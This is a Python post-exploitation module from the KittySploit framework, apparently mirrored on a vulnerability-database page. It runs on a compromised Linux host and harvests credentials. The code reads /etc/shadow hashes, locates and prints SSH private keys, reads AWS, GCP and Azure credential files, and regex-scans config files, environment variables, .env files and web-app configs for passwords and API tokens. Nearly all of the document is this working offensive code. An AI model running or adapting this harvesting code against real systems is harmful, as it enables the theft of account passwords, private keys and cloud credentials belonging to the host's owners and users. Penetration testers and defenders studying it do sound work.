Linux Credentials Gathering
from kittysploit import *
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin
import re
class Module(Post, System, LinuxSessionMixin):
__info__ = {
"name": "Linux Credentials Gathering",
"description": "Gather credentials including password hashes, SSH keys, API tokens, and passwords in configuration files",
"platform": Platform.LINUX,
"author": "KittySploit Team",
"session_type": [SessionType.SHELL,
SessionType.METERPRETER,
SessionType.SSH],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': []},
},
}
def run(self):
"""Gather credentials from various sources"""
if not self.linux_require_linux():
return False
print_status("Starting credentials gathering...")
# 1. Password Hashes
self._gather_password_hashes()
# 2. SSH Keys
self._gather_ssh_keys()
# 3. API Tokens
self._gather_api_tokens()
# 4. Passwords in Config Files
self._gather_config_passwords()
# 5. Environment Variables
self._gather_env_variables()
# 6. Credential Files
self._gather_credential_files()
# 7. Database Credentials
self._gather_database_credentials()
# 8. Web Application Credentials
self._gather_web_credentials()
print_success("Credentials gathering completed")
return True
def _gather_password_hashes(self):
"""Gather password hashes from /etc/shadow"""
print_status("="*60)
print_status("Password Hashes")
print_status("="*60)
try:
# Try to read /etc/shadow
shadow_content = self.read_file("/etc/shadow")
if shadow_content and "Permission denied" not in shadow_content and "No such file" not in shadow_content:
print_warning("Successfully accessed /etc/shadow!")
print_info("Extracting password hashes...")
hashes_found = []
for line in shadow_content.strip().split('\n'):
if line.strip() and not line.strip().startswith('#'):
parts = line.split(':')
if len(parts) >= 2:
username = parts[0]
hash_field = parts[1]
if hash_field and hash_field not in ['*', '!', '!!']:
# Determine hash type
hash_type = "unknown"
if hash_field.startswith('$1$'):
hash_type = "MD5"
elif hash_field.startswith('$2a$') or hash_field.startswith('$2b$'):
hash_type = "Blowfish"
elif hash_field.startswith('$5$'):
hash_type = "SHA-256"
elif hash_field.startswith('$6$'):
hash_type = "SHA-512"
elif hash_field.startswith('$y$') or hash_field.startswith('$2y$'):
hash_type = "bcrypt"
hashes_found.append({
'username': username,
'hash': hash_field,
'type': hash_type
})
print_info(f" {username}: {hash_field} (Type: {hash_type})")
if hashes_found:
print_success(f"Found {len(hashes_found)} password hash(es)")
else:
print_info("No password hashes found (all accounts locked or use other auth)")
else:
print_warning("Cannot read /etc/shadow (requires root privileges)")
# Try to get hashes from /etc/passwd (old systems)
passwd_content = self.read_file("/etc/passwd")
if passwd_content:
for line in passwd_content.strip().split('\n'):
if line.strip() and not line.strip().startswith('#'):
parts = line.split(':')
if len(parts) >= 2 and parts[1] and parts[1] not in ['x', '*']:
print_warning(f"Found password hash in /etc/passwd for {parts[0]}: {parts[1]}")
except Exception as e:
print_warning(f"Error gathering password hashes: {e}")
def _gather_ssh_keys(self):
"""Gather SSH private and public keys"""
print_status("="*60)
print_status("SSH Keys")
print_status("="*60)
try:
# Find SSH private keys
print_status("Searching for SSH private keys...")
private_key_patterns = [
"id_rsa",
"id_dsa",
"id_ecdsa",
"id_ed25519",
"id_ecdsa_sk",
"id_ed25519_sk",
"*_rsa",
"*_dsa",
"*_key",
"*.pem"
]
ssh_keys_found = []
for pattern in private_key_patterns:
find_cmd = f"find /home /root /opt /tmp -name '{pattern}' -type f 2>/dev/null | head -50"
keys = self.linux_execute(find_cmd)
if keys:
for key_file in keys.strip().split('\n'):
if key_file.strip() and key_file not in ssh_keys_found:
ssh_keys_found.append(key_file)
# Check if it's actually a private key
key_content = self.read_file(key_file)
if key_content:
if "BEGIN" in key_content and ("PRIVATE KEY" in key_content or "RSA PRIVATE KEY" in key_content):
print_warning(f"Found private key: {key_file}")
# Get file permissions
perms = self.linux_execute(f"ls -l {key_file} 2>/dev/null")
if perms:
print_info(f" Permissions: {perms.strip()}")
# Show first few lines
lines = key_content.strip().split('\n')[:3]
for line in lines:
if line.strip():
print_info(f" {line}")
# Find SSH public keys
print_status("Searching for SSH public keys...")
public_keys = self.linux_execute("find /home /root -name '*.pub' -type f 2>/dev/null | head -30")
if public_keys:
for pub_key in public_keys.strip().split('\n'):
if pub_key.strip():
print_info(f"Found public key: {pub_key}")
key_content = self.read_file(pub_key)
if key_content:
print_info(f" {key_content.strip()}")
# Check known_hosts for interesting entries
known_hosts = self.read_file("~/.ssh/known_hosts")
if not known_hosts:
known_hosts = self.linux_execute("find /home /root -name 'known_hosts' 2>/dev/null | head -5")
if known_hosts:
for kh_file in known_hosts.strip().split('\n'):
if kh_file.strip():
kh_content = self.read_file(kh_file)
if kh_content:
print_status(f"Known hosts from {kh_file}:")
for line in kh_content.strip().split('\n')[:10]:
if line.strip():
print_info(f" {line}")
except Exception as e:
print_warning(f"Error gathering SSH keys: {e}")
def _gather_api_tokens(self):
"""Gather API tokens and keys"""
print_status("="*60)
print_status("API Tokens and Keys")
print_status("="*60)
try:
# AWS credentials
print_status("AWS Credentials:")
aws_creds_file = "~/.aws/credentials"
aws_creds = self.read_file(aws_creds_file)
if not aws_creds:
aws_creds = self.read_file("/root/.aws/credentials")
if aws_creds:
print_warning("Found AWS credentials file!")
for line in aws_creds.strip().split('\n'):
if line.strip() and ('=' in line or '[' in line):
print_warning(f" {line}")
# AWS config
aws_config = self.read_file("~/.aws/config")
if not aws_config:
aws_config = self.read_file("/root/.aws/config")
if aws_config:
print_info("AWS config found")
# GCP credentials
print_status("GCP Credentials:")
gcp_creds = self.linux_execute("find /home /root -name '*gcp*' -o -name '*google*' -type f 2>/dev/null | grep -i credential | head -10")
if gcp_creds:
for cred_file in gcp_creds.strip().split('\n'):
if cred_file.strip():
print_warning(f"Found GCP credential file: {cred_file}")
content = self.read_file(cred_file)
if content:
# Look for JSON keys
if '"private_key"' in content or '"client_email"' in content:
print_warning(" Contains GCP service account key!")
# Azure credentials
print_status("Azure Credentials:")
azure_creds = self.read_file("~/.azure/azureProfile.json")
if not azure_creds:
azure_creds = self.read_file("/root/.azure/azureProfile.json")
if azure_creds:
print_warning("Found Azure profile!")
# Generic API keys in common locations
print_status("Searching for API keys in common locations...")
api_key_patterns = [
("~/.config", "config files"),
("~/.local/share", "local share"),
("/opt", "opt directory"),
("/etc", "etc directory")
]
# Search for common API key patterns
api_key_files = self.linux_execute("find /home /root -type f -name '*.json' -o -name '*.yaml' -o -name '*.yml' -o -name '*.conf' 2>/dev/null | head -50")
if api_key_files:
for file_path in api_key_files.strip().split('\n'):
if file_path.strip():
content = self.read_file(file_path)
if content:
# Look for API key patterns
if re.search(r'(api[_-]?key|apikey|access[_-]?token|secret[_-]?key|auth[_-]?token)', content, re.IGNORECASE):
print_warning(f"Potential API key file: {file_path}")
# Extract potential keys
matches = re.findall(r'(api[_-]?key|apikey|access[_-]?token|secret[_-]?key)\s*[:=]\s*([^\s\n\'\"<>]+)', content, re.IGNORECASE)
for match in matches[:3]: # Limit to 3 matches
print_info(f" {match[0]}: {match[1]}")
except Exception as e:
print_warning(f"Error gathering API tokens: {e}")
def _gather_config_passwords(self):
"""Gather passwords from configuration files"""
print_status("="*60)
print_status("Passwords in Configuration Files")
print_status("="*60)
try:
# Common config files that might contain passwords
config_files = [
"/etc/mysql/my.cnf",
"/etc/mysql/debian.cnf",
"/root/.my.cnf",
"~/.my.cnf",
"/etc/postgresql/*/pg_hba.conf",
"/etc/postgresql/*/postgresql.conf",
"/etc/apache2/apache2.conf",
"/etc/nginx/nginx.conf",
"/etc/samba/smb.conf",
"/etc/vsftpd.conf",
"/etc/proftpd/proftpd.conf",
"/etc/pure-ftpd/pure-ftpd.conf",
"/etc/ssh/sshd_config",
"/etc/redis/redis.conf",
"/etc/mongodb.conf",
"/opt/lampp/etc/httpd.conf"
]
password_patterns = [
r'password\s*[:=]\s*([^\s\n\'\"<>]+)',
r'passwd\s*[:=]\s*([^\s\n\'\"<>]+)',
r'pass\s*[:=]\s*([^\s\n\'\"<>]+)',
r'pwd\s*[:=]\s*([^\s\n\'\"<>]+)',
r'secret\s*[:=]\s*([^\s\n\'\"<>]+)']
found_passwords = []
for config_pattern in config_files:
# Expand wildcards
if '*' in config_pattern:
files = self.linux_execute(f"ls {config_pattern} 2>/dev/null")
if files:
for file_path in files.strip().split('\n'):
if file_path.strip():
self._search_passwords_in_file(file_path, password_patterns, found_passwords)
else:
# Expand ~
file_path = config_pattern.replace('~', '/root')
if self.file_exist(file_path):
self._search_passwords_in_file(file_path, password_patterns, found_passwords)
else:
# Try with home directory
home = self.linux_execute("echo $HOME 2>/dev/null").strip()
if home:
file_path = config_pattern.replace('~', home)
if self.file_exist(file_path):
self._search_passwords_in_file(file_path, password_patterns, found_passwords)
if found_passwords:
print_success(f"Found passwords in {len(found_passwords)} file(s)")
else:
print_info("No passwords found in common configuration files")
except Exception as e:
print_warning(f"Error gathering config passwords: {e}")
def _search_passwords_in_file(self, file_path, patterns, found_list):
"""Search for passwords in a file"""
try:
content = self.read_file(file_path)
if content:
for pattern in patterns:
matches = re.finditer(pattern, content, re.IGNORECASE)
for match in matches:
password = match.group(1)
# Filter out common false positives
if password not in ['', 'yes', 'no', 'true', 'false', 'null', 'none'] and len(password) > 3:
if file_path not in found_list:
found_list.append(file_path)
print_warning(f"Found password in {file_path}:")
# Show context
lines = content.split('\n')
for i, line in enumerate(lines):
if match.group(0) in line:
print_info(f" Line {i+1}: {line}")
break
except Exception:
pass
def _gather_env_variables(self):
"""Gather sensitive environment variables"""
print_status("="*60)
print_status("Environment Variables")
print_status("="*60)
try:
# Get all environment variables
env_vars = self.linux_execute("env 2>/dev/null")
if env_vars:
print_info("Current environment variables:")
sensitive_keywords = ['pass', 'secret', 'key', 'token', 'auth', 'credential', 'api']
found_sensitive = False
for line in env_vars.strip().split('\n'):
if line.strip() and '=' in line:
var_name = line.split('=')[0].upper()
var_value = '='.join(line.split('=')[1:])
# Check if it's a sensitive variable
is_sensitive = any(keyword in var_name.lower() for keyword in sensitive_keywords)
if is_sensitive:
found_sensitive = True
print_warning(f" {line}")
else:
print_info(f" {line[:100]}")
if not found_sensitive:
print_info("No obviously sensitive environment variables found")
# Check for .env files
print_status("Searching for .env files...")
env_files = self.linux_execute("find /home /root /opt /var/www -name '.env' -type f 2>/dev/null | head -20")
if env_files:
for env_file in env_files.strip().split('\n'):
if env_file.strip():
print_warning(f"Found .env file: {env_file}")
content = self.read_file(env_file)
if content:
# Look for sensitive variables
for line in content.strip().split('\n'):
if line.strip() and '=' in line and not line.strip().startswith('#'):
var_name = line.split('=')[0].upper()
if any(keyword in var_name.lower() for keyword in sensitive_keywords):
print_warning(f" {line}")
else:
print_info(f" {line[:80]}")
except Exception as e:
print_warning(f"Error gathering environment variables: {e}")
def _gather_credential_files(self):
"""Gather credential files"""
print_status("="*60)
print_status("Credential Files")
print_status("="*60)
try:
# Search for common credential file names
credential_patterns = [
"*credentials*",
"*credential*",
"*password*",
"*passwd*",
"*.pwd",
"*.key",
"*.pem",
"*secret*",
"*token*",
"*auth*"
]
found_files = []
for pattern in credential_patterns:
files = self.linux_execute(f"find /home /root /opt /tmp -iname '{pattern}' -type f 2>/dev/null | head -30")
if files:
for file_path in files.strip().split('\n'):
if file_path.strip() and file_path not in found_files:
found_files.append(file_path)
print_warning(f"Found credential file: {file_path}")
# Check file size
size = self.linux_execute(f"wc -c < {file_path} 2>/dev/null").strip()
if size and size.isdigit():
size_kb = int(size) / 1024
print_info(f" Size: {size_kb:.2f} KB")
# Show first few lines if it's a text file
if int(size) < 10000: # Only for small files
content = self.read_file(file_path)
if content and not content.startswith('\x00'): # Not binary
lines = content.strip().split('\n')[:5]
for line in lines:
if line.strip():
print_info(f" {line[:100]}")
except Exception as e:
print_warning(f"Error gathering credential files: {e}")
def _gather_database_credentials(self):
"""Gather database credentials"""
print_status("="*60)
print_status("Database Credentials")
print_status("="*60)
try:
# MySQL credentials
mysql_files = [
"/root/.my.cnf",
"~/.my.cnf",
"/etc/mysql/my.cnf",
"/etc/my.cnf"
]
for mysql_file in mysql_files:
file_path = mysql_file.replace('~', '/root')
if self.file_exist(file_path):
print_warning(f"Found MySQL config: {file_path}")
content = self.read_file(file_path)
if content:
for line in content.strip().split('\n'):
if 'password' in line.lower() or 'user' in line.lower():
print_info(f" {line}")
# PostgreSQL credentials
pg_files = self.linux_execute("find /home /root -name '.pgpass' -o -name 'pgpass.conf' 2>/dev/null")
if pg_files:
for pg_file in pg_files.strip().split('\n'):
if pg_file.strip():
print_warning(f"Found PostgreSQL password file: {pg_file}")
content = self.read_file(pg_file)
if content:
# .pgpass format: hostname:port:database:username:password
for line in content.strip().split('\n'):
if line.strip() and not line.strip().startswith('#'):
print_info(f" {line}")
# MongoDB credentials
mongodb_files = self.linux_execute("find /home /root -name '.mongorc.js' -o -name 'mongodb.conf' 2>/dev/null")
if mongodb_files:
for mongo_file in mongodb_files.strip().split('\n'):
if mongo_file.strip():
print_warning(f"Found MongoDB config: {mongo_file}")
# Redis credentials
redis_conf = self.read_file("/etc/redis/redis.conf")
if redis_conf:
if 'requirepass' in redis_conf.lower():
print_warning("Found Redis password configuration in /etc/redis/redis.conf")
for line in redis_conf.strip().split('\n'):
if 'requirepass' in line.lower() and not line.strip().startswith('#'):
print_info(f" {line}")
except Exception as e:
print_warning(f"Error gathering database credentials: {e}")
def _gather_web_credentials(self):
"""Gather web application credentials"""
print_status("="*60)
print_status("Web Application Credentials")
print_status("="*60)
try:
# Common web app config locations
web_dirs = [
"/var/www",
"/opt/lampp/htdocs",
"/usr/share/nginx/html",
"/srv/www",
"/home/*/public_html",
"/home/*/www"
]
config_patterns = [
"wp-config.php",
"config.php",
"configuration.php",
"settings.php",
"config.inc.php",
".env",
"config.json",
"config.yaml"
]
found_configs = []
for web_dir in web_dirs:
for pattern in config_patterns:
find_cmd = f"find {web_dir} -name '{pattern}' -type f 2>/dev/null | head -20"
files = self.linux_execute(find_cmd)
if files:
for file_path in files.strip().split('\n'):
if file_path.strip() and file_path not in found_configs:
found_configs.append(file_path)
print_warning(f"Found web config: {file_path}")
content = self.read_file(file_path)
if content:
# Look for database credentials
db_patterns = [
r'DB_PASSWORD\s*[:=]\s*[\'"]?([^\'"\s]+)',
r'DB_PASS\s*[:=]\s*[\'"]?([^\'"\s]+)',
r'password\s*[:=]\s*[\'"]?([^\'"\s]+)',
r'pwd\s*[:=]\s*[\'"]?([^\'"\s]+)']
for db_pattern in db_patterns:
matches = re.finditer(db_pattern, content, re.IGNORECASE)
for match in matches:
print_info(f" {match.group(0)}")
except Exception as e:
print_warning(f"Error gathering web credentials: {e}")
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8